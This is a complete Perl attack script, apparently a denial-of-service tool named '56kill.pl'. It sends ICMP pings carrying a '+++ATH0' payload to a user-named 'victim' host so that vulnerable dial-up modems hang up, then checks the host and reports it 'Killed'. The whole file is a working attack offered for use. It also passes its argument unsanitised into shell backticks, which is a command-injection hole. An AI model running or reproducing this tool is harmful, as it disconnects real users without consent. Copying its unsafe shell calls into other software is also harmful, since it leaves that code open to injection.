#!/usr/bin/perl
use warnings;
use strict;
my ($pattern,$formatusage);
my @checking;

print STDOUT 
"--------------------
 http://www.sac.cc/ 
---------------------
 56kill.pl by wel
---------------------
";

if(!$ARGV[0]) {print "Usage: ./56kill.pl <victim>\n"; exit;}
$pattern=$ARGV[0];
sub attack {`ping -c 15 -p 2b2b2b415448300d $pattern`}
sub formatusage {print "\n0=Exit 1=Test 2=Again\n"}
&formatusage; &get;
sub get {
	chop($formatusage=<STDIN>);
	if($formatusage==0){ print "Attack completed. :-)\n"; exit; }
	elsif($formatusage==1){
		print "Now, we are checking host...\n";
		@checking = `ping -c 5 $pattern`;
		print "$checking[1]\n";
		sleep(2);
		print "Killed! :-)\n";
		exit;
	}
	else {
		print "Sending ICMP echo request to host...\n";
		&attack;
	        &formatusage;
        	&get;
	}
}